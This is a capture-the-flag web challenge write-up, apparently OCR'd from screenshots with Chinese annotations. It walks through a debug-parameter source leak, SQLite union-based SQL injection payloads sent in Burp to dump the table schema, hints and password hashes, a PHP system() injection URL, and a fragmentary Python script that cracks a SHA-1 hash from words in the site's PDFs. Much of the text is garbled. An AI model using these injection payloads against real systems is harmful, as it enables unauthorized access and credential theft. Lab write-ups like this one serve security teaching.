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Best Papers

Hey! Welcome to my (partly unfinished) oldskool Website!
I'm Prof. Flux Horst, .. argh, 'nuff said - you should know me!
Here are some of my famous Papers i wrote so far.

Maybe you check them out yourselves?!

Try this or this or go here

Flux Horst (Flux dot Horst at rub dot flux)
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Admin-Panel X Login X | +
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&l Load URL
% split URL

» Execute

[ Enable Post data [ _] Enable Referrer

Last Modified: Fri Mar 31:33:7 UU

Admin-Panel
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Password:

Submit
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Admin-Panel X Login x |+
€ (D 220.249.52.133:41140/login.php ¢ Q@F wea $§ & O 2 g =2 @
INT v~ = & SQL- XSS- Encryption- Encoding- Other-
@l Load URL | http://220.249.52.133:47528/index.php?pat=/heihei/e&rep=system(’cat ./s3chahahaDir/flag/flag.php ")&sub=heihei
4 spliturL
!/ Execute n

] Enable Post data [ ] Enable Referrer u
Last Modified: Fri Mar 31:33:7 U

Login

Login Page, do not try to hax here plox!
ID:

[ ]

Password:

]

Submit
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User—agent: *
Dizallow: /login.php
Disallow: /admin. php




BRAOESI R T — ARG
robots. txt
FAE F AR

Admin-Panel X Login X

€ (D 220.249.52.133:41140/login.php

B ¥ A Q9 & o mxrE @ P

INT ~| = § SQL- XSS+ Encryption= Encoding= Other~
@ Load URL | http://220.249.52.133:41140/login.php

& split URL

4 Execute

[] Enable Post data [ | Enable Referrer

Login

Last Modified: Fri Mar 31:33:7 UTC 1337

Login Page, do not try to hax here plox!
ID:

[ 1]

Password:

1

Submit

/html/login.php on line 47

Some Error occourred!

Warning: SQLite3::query(): Unable to prepare statement: 1, unrecognized token: "2801497d9¢ca18eef4382b18d1889b8bc97e28461" in /var/www
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— O X
Admin-Panel > http://220.249.52.133:41140/. X  Login x | +
(@ view-source:http://220.249.52.133:41140/admin.php @ Q@Ex B ¥ A 9 &2 g meEE P =
INT ~| = § SQL- XSS+ Encryption= Encoding= Other~
@ Load URL
3 split URL
4 Execute

[] Enable Post data [ | Enable Referrer

<meta http—equiv="Content-Type” content="text/html;

{titlerAdmin-Panel</title>
</head>
<body>

<{div align=right class=lastmod>
Last Modified: Fri Mar 31:33:7 UTC 1337
<divy

<h1>Admin-Panel</h1>

{!—— do not even try to bypass this ——>
<form method="post”> -

charset=is0-8859-1">




ID: <br>

{input type=”text” name="usr” va

<br><br»

Password: <br>

<input type="text” name="pw”>

<br><br»

<input type="submit” value="Submit”>
</form>

<br>Nono! Stahp?!
<hr noshade>

{address>Flux Horst (Flux dot Horst at rub dot flux)</address>

</body>

IR T3], BRRRARESIEH

<hl1>Login</hl>

Login Page, do not try to hax here plox!<br>

{form method="post”>
ID: <br>
{input type="text” name="usr”>
<br>
Password: <br>
{input type="text” name="pw”>

<br><br>

{input type="submit” value="Submit”>

{/form>

<br />

<b>Warning</b>: SQLite3::query(): Unable to prepare statement: 1, unrecognized token: &quo
{br>Some Error occourred! </— T0D0: Remove ?debug—Parameter! —>

<hr noshade>

{address>Flux Horst (Flux dot Horst at rub dot flux)</address>

</body>

REJPFHHIT ? debug, ATRER—MRARTE, RINGHES

] Execute

- O
Admin-Panel X \ htip://220.249.52.133:41140/- X Login 3 hitp://220.249.52.133:41140/ X | +
€ (D 220.249.52.133:41140/login.php?debug ¢ QEE T8 ¥ A O & & =E € P
INT ~ = & SQL- XSS~ Encryption- Encoding- Other-
@ Load URL
4 spliturL

[J Enable Post data [ | Enable Referrer

<?php

ob_start () ;

2

<!DOCTYPE HIML PUBLIC “-//W3C//DTD HIML 4.01//EN">

<html>
<head>
{style>




blockquote { background: Heeeeee; }

hl { border-bottom: solid black 2px; }
h2 { border-bottom: solid black lpx; }
.comment { color: darkgreen; }

</style>

{meta http—equiv="Content-Type” content="text/html; charset=is0-8859-1">
(title>Logind/title>

</head>

<{body>»

{div align=right class=lastmod>
Last Modified: Fri Mar 31:33:7 UTC 1337
</div>

hl1>Login</hl>

<?php

if(isset($_POST[ D isset($_POST[ 1)){
$user = $ POST[ 1;
$pass $ POST[ 1;

$db new SQLite3(

$res $db->query( . .shal($pass.

)
if($res){
$row $res->fetchArray();
)i
else{

echo

if(isset($row| 1)){
setcookie( .$row| 1, time() 60,
header( );
die();

)§

TODO: Remove ’debug-Parameter
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HHAtype/name/tbl _name/rootpage/sqlit. ot FH /- Al 2 2% i B AH 515 B




[-+] SQLMap

a
T parameter ~

A, FEEN

ERFIEA KR, T HER TR N HE &
XEBERAVANIE T A i B8 B2 = sqlite
HABRABEATF TIEN

1 —+ AREE, RBHAETRHEET .

1' order by 3 --+#f4%, 1' order by 2 --+A7IR4E, WEIFEBR2,

% Burp Suite Professional v2.0beta - Temporary Project - licensed to surfergyz

Burp Project Intruder Repeater Window Help

JRaw [ Params [ Headers I@

{ Dashboard TTarget I [ Intruder [ Repeater [ Sequencer [ Decoder [ Comparer [ Extender I Project options [ User options
1:]...]
Go \ < |v \ Follow redirection \ Target: http://220.249.52.133:41140 / ®

JRaw l Headers IHex HTML [Render}

POST /login.php HTTP/1.1

Host: 220.249.52.133:41140

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0)
Gecko/20100101 Firefox/56.0

Accept:
text/htmlapplication/xhtml+xmlapplication/xml,q=0.9,*/*,q=0.8
Accept-Language: zh-CN zh:q=0.8,en-US;q=0.5 en;q=0.3
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded
Content-Length: 34

Referer: http://220.249.52.133:41140/login.php

Connection: close

Upgrade-Insecure-Requests: 1

usr=1" union select 1,2|--+&pw=123

HTTP/1.1 302 Found

Date: Thu, 06 Aug 2020 15:44:26 GMT

Server: Apache/2.4.10 (Debian)

X-Powered-By: PHP/5.6.30

Set-Cookie: name=+2; expires=Thu, 06-Aug-2020
15:45:25 GMT; Max-Age=60; path=/

Location: /

Content-Length: 699

Connection: close

Content-Type: text/htrl; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML
4.01//EN">

<html>

<head>

<style>

blockquote { background: #eeeeee; }
h1 {border-bottom: solid black 2px: }
h2 {border-bottom: solid black 1px: }
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® B B B Type a search term 0 matches ® EJ B EJ Type a search term 0 matches
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% Burp Suite Professional v2.0beta - Temporary Project - licensed to surferxyz

Burp Project Intruder Repeater Window Help
{Dashboard WTarget l Proxy [ Intruder [ Repeater [ Sequencer [Decoder [Comparer [Extender l Project options [User options
1.
Go Cancel | < |¥ > | Follow redirection Target: http://220.249.52.133:41140 j @
Request Response
JRaw[Params [Headers Hex JRaleeaders Hex HTML[Render}
POST /login.php HTTP/1.1 + HTTP/1.1 302 Found i
Host: 220.249.52.133:41140 Date: Thu, 06 Aug 2020 15:46:54 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0;: Win64: x64; rv:56.0) Server: Apache/2.4.10 (Debian)
Gecko/20100101 Firefox/56.0 X Powered-By: PHP/5.6.30
Accept: Set-Cookie:
text/html,application/xhtml+xmlapplication/xml;q=0.9,*/*:,q=0.8 name=+CREATE+TABLE+Users%?28id+int+primary+key%2C
Accept-Language: zh-CN zh;q=0.8,en-US;q=0.5en;q=0.3 name-+varchar%28255%29%2Cpassword+varchar%28255
Accept-Encoding: gzip, deflate %29%2Chint+varchar%28255%29%29; expires=Thu,
Content-Type: application/x-www-form-urlencoded 06-Aug-2020 15:47:54 GMT; Max-Age=60; path=/
Content-Length: 58 Location: /
Referer: http://220.249.52.133:41140/login. php Content-Length: 699
Connection: close Connection: close
Upgrade-Insecure-Requests: 1 Content-Type: text/html; charset=UTF-8
usr=1" union select name,sql from sqlite_master —+&pw=123 </DOCTYPE HTML PUBLIC "-//W3C//DTD HTML
4.01//EN">
<html>
<head>
<style>
blockquote { background: #eeeeee; }
h1 {border-bottom: solid black 2px; }
- h2 { border-bottom: solid black 1px; } v
® u u tJ Type a search term 0 matches ® u u u Type a search term 0 matches
Done 1,106 bytes | 68 millis

CREATE TABLE Users
id int primary key

name varchar(255
password varchar(255
hint varchar(255
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% Burp Suite Professional v2.0beta - Temporary Project - licensed to surferxyz

Burp Project Intruder Repeater Window Help

{Dashboard WTarget l Proxy [ Intruder [ Repeater [ Sequencer [Decoder [Comparer [Extender l Project options [User options

1.
Go Cancel < |v > | Follow redirection Target: http://220.249.52.133:41140 f@

Request Response
JRaw[Params [Headers Hex JRaleeaders Hex HTML[Render}
POST /login.php HTTP/1.1 L+ HTTP/1.1 302 Found i
Host: 220.249.52.133:41140 Date: Thu, 06 Aug 2020 15:48:24 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0;: Win64: x64; rv:56.0) Server: Apache/2.4.10 (Debian)
Gecko/20100101 Firefox/56.0 X-Powered-By: PHP/5.6.30
Accept: Set-Cookie:
text/htmlapplication/xhtml+xmlapplication/xml:q=0.9 */*:q=0.8 name=+my+fav+word+in+my+fav+paper%3F%2 1%2Cmy+lo
Accept-Language: zh-CN zh;q=0.8,en-US:q=0.5en;q=0.3 ve+is%E2%80%A6%3F%2Cthe+password+is+password;
Accept-Encoding: gzip, deflate expires=Thu, 06-Aug-2020 15:49:24 GMT; Max-Age=60;
Content-Type: application/x-www-form-urlencoded path=/
Content-Length: 62 Location: /
Referer: http://220.249.52.133:41140/login. php Content-Length: 699
Connection: close Connection: close
Upgrade-Insecure-Requests: 1 Content-Type: text/html; charset=UTF-8
usr=1" union select 1,group concat(hint) from users —+&pw=123 <IDOCTYPE HTML PUBLIC "-//W3C//DTD HTML
4.01//EN">
<html>
<head>
<style>

blockquote { background: #eeeeee; }
h1 {border-bottorn: solid black 2px; }

- 1 nrt 1

Unicode4=t3 UTF-845%2 URL{RTS/ #3252 UnixAalzs Ascii/NativelRi3 5% Hex4mi3/#872 Hti

my fav word in my fav paper?!,my love is...?,the password is password;

XEE, {EMEB,
BAE#— T HARKF

union select id,group_concat(name) from users B #ladmin, fritze,hansi

1' union select id,group_concat(password) from users 3%I3fab54a50e770d830c0416df817567662a9dc85¢c 54eae8935c9
0f467427f05ed4ece82cf569f89507. 34bObb7c304949f9ff2fc10leefOf048bel0d3bd
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hint name password
my fav word in my fav paper?! admin 3fabs4

. a1 i
my love isal,? fritze Sdea

the password is password hansi 34b@bb7c3
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import requests
import re
import os

import sys

global pdf_list
print(url)
req requests.get(url).text
re_1 re.findall(rel,req)
for i in re_1:
pdf_url url+i
pdf_list.append(pdf_url)
re_2 re.findall(re2,req)
for j in re_2:
new_url = url+j[0:2]
get_pdf(new_url)
return pdf_list

os.system(

io import StringIO

pdfminer.pdfpage import PDFPage

pdfminer.converter import TextConverter

pdfminer.converter import PDFPageAggregator

pdfminer.layout import LTTextBoxHorizontal, LAParams
pdfminer.pdfinterp import PDFResourceManager, PDFPagelnterpreter




import importlib
import random
from urllib.request import urlopen

from urllib.request import Request

def get pdf():

return [i for i in os.listdir( ) if i.endswith(

convert_pdf to_txt(path_to file):

rsrcmgr = PDFResourceManager()

retstr = StringIO()

codec

IEETRETS LAParams ()

device TextConverter(rsrcmgr, retstr, codec=codec, laparams=laparams)
fp (path_to_file, )

interpreter PDFPageInterpreter(rsrcmgr, device)
password

maxpages (<]

caching = True

pagenos @)

for page in PDFPage.get_pages(fp, pagenos, maxpages=maxpages, password=password,caching=caching, check_extra
ctable=True):
interpreter.process_page(page)

text retstr.getvalue()

fp.close()
device.close()
retstr.close()
return text

find_password():

pdf_path = get_pdf()

for i in pdf_path:
print ( i)
pdf_text = convert_pdf to txt( i).split(
for word in pdf_text:

shal password = hashlib.shal(word.encode( .encode( )) .hexdigest()

if (shal_password ):
print ( word)
exit()

if _ name_
find_password()
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@ Load URL =
% split URL +
» Execute

[ Enable Post data [_] Enable Referrer
Last Modified: Fri Mar 31:33:7 UTC 1337

Admin-Panel

ID:

Password:

Submit

Yay!l!
flag{Th3_Fl4t Earth Prof i$ nOT so Smart_huh?}
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